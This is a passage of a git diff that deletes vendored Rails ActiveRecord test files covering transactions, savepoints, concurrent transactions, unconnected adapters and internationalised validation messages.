-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
-  end
-
-  def transaction_with_return
-    Topic.transaction do
-      @first.approved  = true
-      @second.approved = false
-      @first.save
-      @second.save
-      return
-    end
-  end
-
-  def test_update_attributes_should_rollback_on_failure
-    author = Author.find(1)
-    posts_count = author.posts.size
-    assert posts_count > 0
-    status = author.update_attributes(:name => nil, :post_ids => [])
-    assert !status
-    assert_equal posts_count, author.posts(true).size
-  end
-
-  def test_update_attributes_should_rollback_on_failure!
-    author = Author.find(1)
-    posts_count = author.posts.size
-    assert posts_count > 0
-    assert_raise(ActiveRecord::RecordInvalid) do
-      author.update_attributes!(:name => nil, :post_ids => [])
-    end
-    assert_equal posts_count, author.posts(true).size
-  end
-
-  def test_successful_with_return
-    class << Topic.connection
-      alias :real_commit_db_transaction :commit_db_transaction
-      def commit_db_transaction
-        $committed = true
-        real_commit_db_transaction
-      end
-    end
-
-    $committed = false
-    transaction_with_return
-    assert $committed
-
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
-  ensure
-    class << Topic.connection
-      alias :commit_db_transaction :real_commit_db_transaction rescue nil
-    end
-  end
-
-  def test_successful_with_instance_method
-    @first.transaction do
-      @first.approved  = true
-      @second.approved = false
-      @first.save
-      @second.save
-    end
-
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
-  end
-
-  def test_failing_on_exception
-    begin
-      Topic.transaction do
-        @first.approved  = true
-        @second.approved = false
-        @first.save
-        @second.save
-        raise "Bad things!"
-      end
-    rescue
-      # caught it
-    end
-
-    assert @first.approved?, "First should still be changed in the objects"
-    assert !@second.approved?, "Second should still be changed in the objects"
-
-    assert !Topic.find(1).approved?, "First shouldn't have been approved"
-    assert Topic.find(2).approved?, "Second should still be approved"
-  end
-
-  def test_raising_exception_in_callback_rollbacks_in_save
-    add_exception_raising_after_save_callback_to_topic
-
-    begin
-      @first.approved = true
-      @first.save
-      flunk
-    rescue => e
-      assert_equal "Make the transaction rollback", e.message
-      assert !Topic.find(1).approved?
-    ensure
-      remove_exception_raising_after_save_callback_to_topic
-    end
-  end
-
-  def test_cancellation_from_before_destroy_rollbacks_in_destroy
-    add_cancelling_before_destroy_with_db_side_effect_to_topic
-    begin
-      nbooks_before_destroy = Book.count
-      status = @first.destroy
-      assert !status
-      assert_nothing_raised(ActiveRecord::RecordNotFound) { @first.reload }
-      assert_equal nbooks_before_destroy, Book.count
-    ensure
-      remove_cancelling_before_destroy_with_db_side_effect_to_topic
-    end
-  end
-
-  def test_cancellation_from_before_filters_rollbacks_in_save
-    %w(validation save).each do |filter|
-      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      begin
-        nbooks_before_save = Book.count
-        original_author_name = @first.author_name
-        @first.author_name += '_this_should_not_end_up_in_the_db'
-        status = @first.save
-        assert !status
-        assert_equal original_author_name, @first.reload.author_name
-        assert_equal nbooks_before_save, Book.count
-      ensure
-        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      end
-    end
-  end
-
-  def test_cancellation_from_before_filters_rollbacks_in_save!
-    %w(validation save).each do |filter|
-      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      begin
-        nbooks_before_save = Book.count
-        original_author_name = @first.author_name
-        @first.author_name += '_this_should_not_end_up_in_the_db'
-        @first.save!
-        flunk
-      rescue => e
-        assert_equal original_author_name, @first.reload.author_name
-        assert_equal nbooks_before_save, Book.count
-      ensure
-        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
-      end
-    end
-  end
-
-  def test_callback_rollback_in_create
-    new_topic = Topic.new(
-      :title => "A new topic",
-      :author_name => "Ben",
-      :author_email_address => "ben@example.com",
-      :written_on => "2003-07-16t15:28:11.2233+01:00",
-      :last_read => "2004-04-15",
-      :bonus_time => "2005-01-30t15:28:00.00+01:00",
-      :content => "Have a nice day",
-      :approved => false)
-    new_record_snapshot = new_topic.new_record?
-    id_present = new_topic.has_attribute?(Topic.primary_key)
-    id_snapshot = new_topic.id
-
-    # Make sure the second save gets the after_create callback called.
-    2.times do
-      begin
-        add_exception_raising_after_create_callback_to_topic
-        new_topic.approved = true
-        new_topic.save
-        flunk
-      rescue => e
-        assert_equal "Make the transaction rollback", e.message
-        assert_equal new_record_snapshot, new_topic.new_record?, "The topic should have its old new_record value"
-        assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
-        assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
-      ensure
-        remove_exception_raising_after_create_callback_to_topic
-      end
-    end
-  end
-
-  def test_nested_explicit_transactions
-    Topic.transaction do
-      Topic.transaction do
-        @first.approved  = true
-        @second.approved = false
-        @first.save
-        @second.save
-      end
-    end
-
-    assert Topic.find(1).approved?, "First should have been approved"
-    assert !Topic.find(2).approved?, "Second should have been unapproved"
-  end
-
-  def test_manually_rolling_back_a_transaction
-    Topic.transaction do
-      @first.approved  = true
-      @second.approved = false
-      @first.save
-      @second.save
-
-      raise ActiveRecord::Rollback
-    end
-
-    assert @first.approved?, "First should still be changed in the objects"
-    assert !@second.approved?, "Second should still be changed in the objects"
-
-    assert !Topic.find(1).approved?, "First shouldn't have been approved"
-    assert Topic.find(2).approved?, "Second should still be approved"
-  end
-
-  def test_invalid_keys_for_transaction
-    assert_raise ArgumentError do
-      Topic.transaction :nested => true do
-      end
-    end
-  end
-
-  def test_force_savepoint_in_nested_transaction
-    Topic.transaction do
-      @first.approved = true
-      @second.approved = false
-      @first.save!
-      @second.save!
-
-      begin
-        Topic.transaction :requires_new => true do
-          @first.happy = false
-          @first.save!
-          raise
-        end
-      rescue
-      end
-    end
-
-    assert @first.reload.approved?
-    assert !@second.reload.approved?
-  end if Topic.connection.supports_savepoints?
-
-  def test_no_savepoint_in_nested_transaction_without_force
-    Topic.transaction do
-      @first.approved = true
-      @second.approved = false
-      @first.save!
-      @second.save!
-
-      begin
-        Topic.transaction do
-          @first.approved = false
-          @first.save!
-          raise
-        end
-      rescue
-      end
-    end
-
-    assert !@first.reload.approved?
-    assert !@second.reload.approved?
-  end if Topic.connection.supports_savepoints?
-  
-  def test_many_savepoints
-    Topic.transaction do
-      @first.content = "One"
-      @first.save!
-      
-      begin
-        Topic.transaction :requires_new => true do
-          @first.content = "Two"
-          @first.save!
-          
-          begin
-            Topic.transaction :requires_new => true do
-              @first.content = "Three"
-              @first.save!
-              
-              begin
-                Topic.transaction :requires_new => true do
-                  @first.content = "Four"
-                  @first.save!
-                  raise
-                end
-              rescue
-              end
-              
-              @three = @first.reload.content
-              raise
-            end
-          rescue
-          end
-          
-          @two = @first.reload.content
-          raise
-        end
-      rescue
-      end
-      
-      @one = @first.reload.content
-    end
-    
-    assert_equal "One", @one
-    assert_equal "Two", @two
-    assert_equal "Three", @three
-  end if Topic.connection.supports_savepoints?
-
-  def test_rollback_when_commit_raises
-    Topic.connection.expects(:begin_db_transaction)
-    Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
-    Topic.connection.expects(:outside_transaction?).returns(false)
-    Topic.connection.expects(:rollback_db_transaction)
-
-    assert_raise RuntimeError do
-      Topic.transaction do
-        # do nothing
-      end
-    end
-  end
-  
-  if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
-    def test_outside_transaction_works
-      assert Topic.connection.outside_transaction?
-      Topic.connection.begin_db_transaction
-      assert !Topic.connection.outside_transaction?
-      Topic.connection.rollback_db_transaction
-      assert Topic.connection.outside_transaction?
-    end
-    
-    def test_rollback_wont_be_executed_if_no_transaction_active
-      assert_raise RuntimeError do
-        Topic.transaction do
-          Topic.connection.rollback_db_transaction
-          Topic.connection.expects(:rollback_db_transaction).never
-          raise "Rails doesn't scale!"
-        end
-      end
-    end
-    
-    def test_open_transactions_count_is_reset_to_zero_if_no_transaction_active
-      Topic.transaction do
-        Topic.transaction do
-          Topic.connection.rollback_db_transaction
-        end
-        assert_equal 0, Topic.connection.open_transactions
-      end
-      assert_equal 0, Topic.connection.open_transactions
-    end
-  end
-
-  def test_sqlite_add_column_in_transaction
-    return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter)
-
-    # Test first if column creation/deletion works correctly when no
-    # transaction is in place.
-    #
-    # We go back to the connection for the column queries because
-    # Topic.columns is cached and won't report changes to the DB
-    
-    assert_nothing_raised do
-      Topic.reset_column_information
-      Topic.connection.add_column('topics', 'stuff', :string)
-      assert Topic.column_names.include?('stuff')
-      
-      Topic.reset_column_information
-      Topic.connection.remove_column('topics', 'stuff')
-      assert !Topic.column_names.include?('stuff')
-    end
-
-    if Topic.connection.supports_ddl_transactions?
-      assert_nothing_raised do
-        Topic.transaction { Topic.connection.add_column('topics', 'stuff', :string) }
-      end
-    else
-      Topic.transaction do
-        assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
-        raise ActiveRecord::Rollback
-      end
-    end
-  end
-
-  private
-    def add_exception_raising_after_save_callback_to_topic
-      Topic.class_eval { def after_save() raise "Make the transaction rollback" end }
-    end
-
-    def remove_exception_raising_after_save_callback_to_topic
-      Topic.class_eval { remove_method :after_save }
-    end
-
-    def add_exception_raising_after_create_callback_to_topic
-      Topic.class_eval { def after_create() raise "Make the transaction rollback" end }
-    end
-
-    def remove_exception_raising_after_create_callback_to_topic
-      Topic.class_eval { remove_method :after_create }
-    end
-
-    %w(validation save destroy).each do |filter|
-      define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
-        Topic.class_eval "def before_#{filter}() Book.create; false end"
-      end
-
-      define_method("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
-        Topic.class_eval "remove_method :before_#{filter}"
-      end
-    end
-end
-
-class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = true
-  fixtures :topics
-
-  def test_automatic_savepoint_in_outer_transaction
-    @first = Topic.find(1)
-    
-    begin
-      Topic.transaction do
-        @first.approved = true
-        @first.save!
-        raise
-      end
-    rescue
-      assert !@first.reload.approved?
-    end
-  end
-
-  def test_no_automatic_savepoint_for_inner_transaction
-    @first = Topic.find(1)
-
-    Topic.transaction do
-      @first.approved = true
-      @first.save!
-
-      begin
-        Topic.transaction do
-          @first.approved = false
-          @first.save!
-          raise
-        end
-      rescue
-      end
-    end
-
-    assert !@first.reload.approved?
-  end
-end if Topic.connection.supports_savepoints?
-
-if current_adapter?(:PostgreSQLAdapter)
-  class ConcurrentTransactionTest < TransactionTest
-    use_concurrent_connections
-
-    # This will cause transactions to overlap and fail unless they are performed on
-    # separate database connections.
-    def test_transaction_per_thread
-      assert_nothing_raised do
-        threads = (1..3).map do
-          Thread.new do
-            Topic.transaction do
-              topic = Topic.find(1)
-              topic.approved = !topic.approved?
-              topic.save!
-              topic.approved = !topic.approved?
-              topic.save!
-            end
-          end
-        end
-
-        threads.each { |t| t.join }
-      end
-    end
-
-    # Test for dirty reads among simultaneous transactions.
-    def test_transaction_isolation__read_committed
-      # Should be invariant.
-      original_salary = Developer.find(1).salary
-      temporary_salary = 200000
-
-      assert_nothing_raised do
-        threads = (1..3).map do
-          Thread.new do
-            Developer.transaction do
-              # Expect original salary.
-              dev = Developer.find(1)
-              assert_equal original_salary, dev.salary
-
-              dev.salary = temporary_salary
-              dev.save!
-
-              # Expect temporary salary.
-              dev = Developer.find(1)
-              assert_equal temporary_salary, dev.salary
-
-              dev.salary = original_salary
-              dev.save!
-
-              # Expect original salary.
-              dev = Developer.find(1)
-              assert_equal original_salary, dev.salary
-            end
-          end
-        end
-
-        # Keep our eyes peeled.
-        threads << Thread.new do
-          10.times do
-            sleep 0.05
-            Developer.transaction do
-              # Always expect original salary.
-              assert_equal original_salary, Developer.find(1).salary
-            end
-          end
-        end
-
-        threads.each { |t| t.join }
-      end
-
-      assert_equal original_salary, Developer.find(1).salary
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/unconnected_test.rb b/vendor/rails/activerecord/test/cases/unconnected_test.rb
deleted file mode 100644
index 23ad10f3..00000000
--- a/vendor/rails/activerecord/test/cases/unconnected_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require "cases/helper"
-
-class TestRecord < ActiveRecord::Base
-end
-
-class TestUnconnectedAdapter < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @underlying = ActiveRecord::Base.connection
-    @specification = ActiveRecord::Base.remove_connection
-  end
-
-  def teardown
-    @underlying = nil
-    ActiveRecord::Base.establish_connection(@specification)
-  end
-
-  def test_connection_no_longer_established
-    assert_raise(ActiveRecord::ConnectionNotEstablished) do
-      TestRecord.find(1)
-    end
-
-    assert_raise(ActiveRecord::ConnectionNotEstablished) do
-      TestRecord.new.save
-    end
-  end
-
-  def test_underlying_adapter_no_longer_active
-    assert !@underlying.active?, "Removed adapter should no longer be active"
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb
deleted file mode 100644
index 88850d35..00000000
--- a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb
+++ /dev/null
@@ -1,925 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-require 'models/person'
-
-module ActiveRecordValidationsI18nTestHelper
-  def store_translations(*args)
-    data = args.extract_options!
-    locale = args.shift || 'en'
-    I18n.backend.send(:init_translations)
-    I18n.backend.store_translations(locale, :activerecord => data)
-  end
-
-  def delete_translation(key)
-    I18n.backend.instance_eval do
-      keys = I18n.send(:normalize_translation_keys, 'en', key, nil)
-      keys.inject(translations) { |result, k| keys.last == k ? result.delete(k.to_sym) : result[k.to_sym] }
-    end
-  end
-
-  def reset_callbacks(*models)
-    models.each do |model|
-      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    end
-  end
-end
-
-
-# ACTIVERECORD VALIDATIONS
-#
-# For each validation:
-#
-# * test expect that it adds an error with the appropriate arguments
-# * test that it looks up the correct default message
-
-class ActiveRecordValidationsI18nTests < ActiveSupport::TestCase
-  include ActiveRecordValidationsI18nTestHelper
-
-  def setup
-    reset_callbacks(Topic)
-    @topic = Topic.new
-    @reply = Reply.new
-    @old_load_path, @old_backend = I18n.load_path, I18n.backend
-    I18n.load_path.clear
-    I18n.backend = I18n::Backend::Simple.new
-    I18n.backend.store_translations('en', :activerecord => {:errors => {:messages => {:custom => nil}}})
-  end
-
-  def teardown
-    reset_callbacks(Topic)
-    I18n.load_path.replace(@old_load_path)
-    I18n.backend = @old_backend
-  end
-
-  def expect_error_added(model, attribute, type, options)
-    model.errors.expects(:add).with(attribute, type, options)
-    yield
-    model.valid?
-  end
-
-  def assert_message_translations(model, attribute, type, &block)
-    assert_default_message_translation(model, attribute, type, &block)
-    reset_callbacks(model.class)
-    model.errors.clear
-    assert_custom_message_translation(model, attribute, type, &block)
-  end
-
-  def assert_custom_message_translation(model, attribute, type)
-    store_translations(:errors => { :models => { model.class.name.underscore => { :attributes => { attribute => { type => 'custom message' } } } } })
-    yield
-    model.valid?
-    assert_equal 'custom message', model.errors.on(attribute)
-  end
-
-  def assert_default_message_translation(model, attribute, type)
-    store_translations(:errors => { :messages => { type => 'default message' } })
-    yield
-    model.valid?
-    assert_equal 'default message', model.errors.on(attribute)
-  end
-
-  def unique_topic
-    @unique ||= Topic.create(:title => 'unique!')
-  end
-
-  def replied_topic
-    @replied_topic ||= begin
-      topic = Topic.create(:title => "topic")
-      topic.replies << Reply.new
-      topic
-    end
-  end
-
-  # validates_confirmation_of
-
-  test "#validates_confirmation_of given no custom message" do
-    expect_error_added(@topic, :title, :confirmation, :default => nil) do
-      Topic.validates_confirmation_of :title
-      @topic.title = 'title'
-      @topic.title_confirmation = 'foo'
-    end
-  end
-
-  test "#validates_confirmation_of given a custom message" do
-    expect_error_added(@topic, :title, :confirmation, :default => 'custom') do
-      Topic.validates_confirmation_of :title, :message => 'custom'
-      @topic.title_confirmation = 'foo'
-    end
-  end
-
-  test "#validates_confirmation_of finds the correct message translations" do
-    assert_message_translations(@topic, :title, :confirmation) do
-      Topic.validates_confirmation_of :title
-      @topic.title_confirmation = 'foo'
-    end
-  end
-
-  # validates_acceptance_of
-
-  test "#validates_acceptance_of given no custom message" do
-    expect_error_added(@topic, :title, :accepted, :default => nil) do
-      Topic.validates_acceptance_of :title, :allow_nil => false
-    end
-  end
-
-  test "#validates_acceptance_of given a custom message" do
-    expect_error_added(@topic, :title, :accepted, :default => 'custom') do
-      Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false
-    end
-  end
-
-  test "#validates_acceptance_of finds the correct message translations" do
-    assert_message_translations(@topic, :title, :accepted) do
-      Topic.validates_acceptance_of :title, :allow_nil => false
-    end
-  end
-
-  # validates_presence_of
-
-  test "#validates_presence_of given no custom message" do
-    expect_error_added(@topic, :title, :blank, :default => nil) do
-      Topic.validates_presence_of :title
-    end
-  end
-
-  test "#validates_presence_of given a custom message" do
-    expect_error_added(@topic, :title, :blank, :default => 'custom') do
-      Topic.validates_presence_of :title, :message => 'custom'
-    end
-  end
-
-  test "#validates_presence_of finds the correct message translations" do
-    assert_message_translations(@topic, :title, :blank) do
-      Topic.validates_presence_of :title
-    end
-  end
-
-  # validates_length_of :too_short
-
-  test "#validates_length_of (:too_short) and no custom message" do
-    expect_error_added(@topic, :title, :too_short, :default => nil, :count => 3) do
-      Topic.validates_length_of :title, :within => 3..5
-    end
-  end
-
-  test "#validates_length_of (:too_short) and a custom message" do
-    expect_error_added(@topic, :title, :too_short, :default => 'custom', :count => 3) do
-      Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
-    end
-  end
-
-  test "#validates_length_of (:too_short) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :too_short) do
-      Topic.validates_length_of :title, :within => 3..5
-    end
-  end
-
-  # validates_length_of :too_long
-
-  test "#validates_length_of (:too_long) and no custom message" do
-    expect_error_added(@topic, :title, :too_long, :default => nil, :count => 5) do
-      Topic.validates_length_of :title, :within => 3..5
-      @topic.title = 'this title is too long'
-    end
-  end
-
-  test "#validates_length_of (:too_long) and a custom message" do
-    expect_error_added(@topic, :title, :too_long, :default => 'custom', :count => 5) do
-      Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
-      @topic.title = 'this title is too long'
-    end
-  end
-
-  test "#validates_length_of (:too_long) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :too_long) do
-      Topic.validates_length_of :title, :within => 3..5
-      @topic.title = 'this title is too long'
-    end
-  end
-
-  # validates_length_of :is
-
-  test "#validates_length_of (:is) and no custom message" do
-    expect_error_added(@topic, :title, :wrong_length, :default => nil, :count => 5) do
-      Topic.validates_length_of :title, :is => 5
-      @topic.title = 'this title has the wrong length'
-    end
-  end
-
-  test "#validates_length_of (:is) and a custom message" do
-    expect_error_added(@topic, :title, :wrong_length, :default => 'custom', :count => 5) do
-      Topic.validates_length_of :title, :is => 5, :wrong_length => 'custom'
-      @topic.title = 'this title has the wrong length'
-    end
-  end
-
-  test "#validates_length_of (:is) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :wrong_length) do
-      Topic.validates_length_of :title, :is => 5
-      @topic.title = 'this title has the wrong length'
-    end
-  end
-
-  # validates_uniqueness_of
-
-  test "#validates_uniqueness_of and no custom message" do
-    expect_error_added(@topic, :title, :taken, :default => nil, :value => 'unique!') do
-      Topic.validates_uniqueness_of :title
-      @topic.title = unique_topic.title
-    end
-  end
-
-  test "#validates_uniqueness_of and a custom message" do
-    expect_error_added(@topic, :title, :taken, :default => 'custom', :value => 'unique!') do
-      Topic.validates_uniqueness_of :title, :message => 'custom'
-      @topic.title = unique_topic.title
-    end
-  end
-
-  test "#validates_uniqueness_of finds the correct message translations" do
-    assert_message_translations(@topic, :title, :taken) do
-      Topic.validates_uniqueness_of :title
-      @topic.title = unique_topic.title
-    end
-  end
-
-  # validates_format_of
-
-  test "#validates_format_of and no custom message" do
-    expect_error_added(@topic, :title, :invalid, :default => nil, :value => '72x') do
-      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
-      @topic.title = '72x'
-    end
-  end
-
-  test "#validates_format_of and a custom message" do
-    expect_error_added(@topic, :title, :invalid, :default => 'custom', :value => '72x') do
-      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom'
-      @topic.title = '72x'
-    end
-  end
-
-  test "#validates_format_of finds the correct message translations" do
-    assert_message_translations(@topic, :title, :invalid) do
-      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
-      @topic.title = '72x'
-    end
-  end
-
-  # validates_inclusion_of
-
-  test "#validates_inclusion_of and no custom message" do
-    list = %w(a b c)
-    expect_error_added(@topic, :title, :inclusion, :default => nil, :value => 'z') do
-      Topic.validates_inclusion_of :title, :in => list
-      @topic.title = 'z'
-    end
-  end
-
-  test "#validates_inclusion_of and a custom message" do
-    list = %w(a b c)
-    expect_error_added(@topic, :title, :inclusion, :default => 'custom', :value => 'z') do
-      Topic.validates_inclusion_of :title, :in => list, :message => 'custom'
-      @topic.title = 'z'
-    end
-  end
-
-  test "#validates_inclusion_of finds the correct message translations" do
-    list = %w(a b c)
-    assert_message_translations(@topic, :title, :inclusion) do
-      Topic.validates_inclusion_of :title, :in => list
-      @topic.title = 'z'
-    end
-  end
-
-  # validates_exclusion_of
-
-  test "#validates_exclusion_of and no custom message" do
-    list = %w(a b c)
-    expect_error_added(@topic, :title, :exclusion, :default => nil, :value => 'a') do
-      Topic.validates_exclusion_of :title, :in => list
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_exclusion_of and a custom message" do
-    list = %w(a b c)
-    expect_error_added(@topic, :title, :exclusion, :default => 'custom', :value => 'a') do
-      Topic.validates_exclusion_of :title, :in => list, :message => 'custom'
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_exclusion_of finds the correct message translations" do
-    list = %w(a b c)
-    assert_message_translations(@topic, :title, :exclusion) do
-      Topic.validates_exclusion_of :title, :in => list
-      @topic.title = 'a'
-    end
-  end
-
-  # validates_numericality_of :not_a_number, without :only_integer
-
-  test "#validates_numericality_of (:not_a_number, w/o :only_integer) no custom message" do
-    expect_error_added(@topic, :title, :not_a_number, :default => nil, :value => 'a') do
-      Topic.validates_numericality_of :title
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_numericality_of (:not_a_number, w/o :only_integer) and a custom message" do
-    expect_error_added(@topic, :title, :not_a_number, :default => 'custom', :value => 'a') do
-      Topic.validates_numericality_of :title, :message => 'custom'
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_numericality_of (:not_a_number, w/o :only_integer) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :not_a_number) do
-      Topic.validates_numericality_of :title
-      @topic.title = 'a'
-    end
-  end
-
-  # validates_numericality_of :not_a_number, with :only_integer
-
-  test "#validates_numericality_of (:not_a_number, with :only_integer) no custom message" do
-    expect_error_added(@topic, :title, :not_a_number, :default => nil, :value => 'a') do
-      Topic.validates_numericality_of :title, :only_integer => true
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_numericality_of (:not_a_number, with :only_integer) and a custom message" do
-    expect_error_added(@topic, :title, :not_a_number, :default => 'custom', :value => 'a') do
-      Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom'
-      @topic.title = 'a'
-    end
-  end
-
-  test "#validates_numericality_of (:not_a_number, with :only_integer) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :not_a_number) do
-      Topic.validates_numericality_of :title, :only_integer => true
-      @topic.title = 'a'
-    end
-  end
-
-  # validates_numericality_of :odd
-
-  test "#validates_numericality_of (:odd) no custom message" do
-    expect_error_added(@topic, :title, :odd, :default => nil, :value => 0) do
-      Topic.validates_numericality_of :title, :only_integer => true, :odd => true
-      @topic.title = 0
-    end
-  end
-
-  test "#validates_numericality_of (:odd) and a custom message" do
-    expect_error_added(@topic, :title, :odd, :default => 'custom', :value => 0) do
-      Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom'
-      @topic.title = 0
-    end
-  end
-
-  test "#validates_numericality_of (:odd) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :odd) do
-      Topic.validates_numericality_of :title, :only_integer => true, :odd => true
-      @topic.title = 0
-    end
-  end
-
-  # validates_numericality_of :even
-
-  test "#validates_numericality_of (:even) no custom message" do
-    expect_error_added(@topic, :title, :even, :default => nil, :value => 1) do
-      Topic.validates_numericality_of :title, :only_integer => true, :even => true
-      @topic.title = 1
-    end
-  end
-
-  test "#validates_numericality_of (:even) and a custom message" do
-    expect_error_added(@topic, :title, :even, :default => 'custom', :value => 1) do
-      Topic.validates_numericality_of :title, :only_integer => true, :even => true, :message => 'custom'
-      @topic.title = 1
-    end
-  end
-
-  test "#validates_numericality_of (:even) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :even) do
-      Topic.validates_numericality_of :title, :only_integer => true, :even => true
-      @topic.title = 1
-    end
-  end
-
-  # validates_numericality_of :less_than
-
-  test "#validates_numericality_of (:less_than) no custom message" do
-    expect_error_added(@topic, :title, :less_than, :default => nil, :value => 1, :count => 0) do
-      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
-      @topic.title = 1
-    end
-  end
-
-  test "#validates_numericality_of (:less_than) and a custom message" do
-    expect_error_added(@topic, :title, :less_than, :default => 'custom', :value => 1, :count => 0) do
-      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom'
-      @topic.title = 1
-    end
-  end
-
-  test "#validates_numericality_of (:less_than) finds the correct message translations" do
-    assert_message_translations(@topic, :title, :less_than) do
-      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
-      @topic.title = 1
-    end
-  end
-
-  # validates_associated
-
-  test "#validates_associated no custom message" do
-    expect_error_added(replied_topic, :replies, :invalid, :default => nil, :value => replied_topic.replies) do
-      Topic.validates_associated :replies
-    end
-  end
-
-  test "#validates_associated and a custom message" do
-    expect_error_added(replied_topic, :replies, :invalid, :default => 'custom', :value => replied_topic.replies) do
-      Topic.validates_associated :replies, :message => 'custom'
-    end
-  end
-
-  test "#validates_associated finds the correct message translations" do
-    assert_message_translations(replied_topic, :replies, :invalid) do
-      Topic.validates_associated :replies
-    end
-  end
-end
-
-
-# ACTIVERECORD ERROR
-#
-# * test that it passes given interpolation arguments, the human model name and human attribute name
-# * test that it looks messages up with the the correct keys
-# * test that it looks up the correct default messages
-
-class ActiveRecordErrorI18nTests < ActiveSupport::TestCase
-  include ActiveRecordValidationsI18nTestHelper
-
-  def setup
-    @reply = Reply.new
-    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
-  end
-
-  def teardown
-    I18n.backend = @old_backend
-    I18n.locale = nil
-  end
-
-  def assert_error_message(message, *args)
-    assert_equal message, ActiveRecord::Error.new(@reply, *args).message
-  end
-
-  def assert_full_message(message, *args)
-    assert_equal message, ActiveRecord::Error.new(@reply, *args).full_message
-  end
-
-  test ":default is only given to message if a symbol is supplied" do
-    store_translations(:errors => { :messages => { :"foo bar" => "You fooed: %{value}." } })
-    @reply.errors.add(:title, :inexistent, :default => "foo bar")
-    assert_equal "foo bar", @reply.errors[:title]
-  end
-
-  test "#generate_message passes the model attribute value for interpolation" do
-    store_translations(:errors => { :messages => { :foo => "You fooed: %{value}." } })
-    @reply.title = "da title"
-    assert_error_message 'You fooed: da title.', :title, :foo
-  end
-
-  test "#generate_message passes the human_name of the model for interpolation" do
-    store_translations(
-      :errors => { :messages => { :foo => "You fooed: %{model}." } },
-      :models => { :topic => 'da topic' }
-    )
-    assert_error_message 'You fooed: da topic.', :title, :foo
-  end
-
-  test "#generate_message passes the human_name of the attribute for interpolation" do
-    store_translations(
-      :errors => { :messages => { :foo => "You fooed: %{attribute}." } },
-      :attributes => { :topic => { :title => 'da topic title' } }
-    )
-    assert_error_message 'You fooed: da topic title.', :title, :foo
-  end
-
-  # generate_message will look up the key for the error message (e.g. :blank) in these namespaces:
-  #
-  #   activerecord.errors.models.reply.attributes.title
-  #   activerecord.errors.models.reply
-  #   activerecord.errors.models.topic.attributes.title
-  #   activerecord.errors.models.topic
-  #   [default from class level :validates_foo statement if this is a String]
-  #   activerecord.errors.messages
-
-  test "#generate_message key fallbacks (given a String as key)" do
-    store_translations(
-      :errors => {
-        :models => {
-          :reply => {
-            :attributes => { :title => { :custom => 'activerecord.errors.models.reply.attributes.title.custom' } },
-            :custom => 'activerecord.errors.models.reply.custom'
-          },
-          :topic => {
-            :attributes => { :title => { :custom => 'activerecord.errors.models.topic.attributes.title.custom' } },
-            :custom => 'activerecord.errors.models.topic.custom'
-          }
-        },
-        :messages => {
-          :custom => 'activerecord.errors.messages.custom',
-          :kaputt => 'activerecord.errors.messages.kaputt'
-        }
-      }
-    )
-
-    assert_error_message 'activerecord.errors.models.reply.attributes.title.custom', :title, :kaputt, :message => 'custom'
-    delete_translation  :'activerecord.errors.models.reply.attributes.title.custom'
-
-    assert_error_message 'activerecord.errors.models.reply.custom', :title, :kaputt, :message => 'custom'
-    delete_translation  :'activerecord.errors.models.reply.custom'
-
-    assert_error_message 'activerecord.errors.models.topic.attributes.title.custom', :title, :kaputt, :message => 'custom'
-    delete_translation  :'activerecord.errors.models.topic.attributes.title.custom'
-
-    assert_error_message 'activerecord.errors.models.topic.custom', :title, :kaputt, :message => 'custom'
-    delete_translation  :'activerecord.errors.models.topic.custom'
-
-    assert_error_message 'activerecord.errors.messages.custom', :title, :kaputt, :message => 'custom'
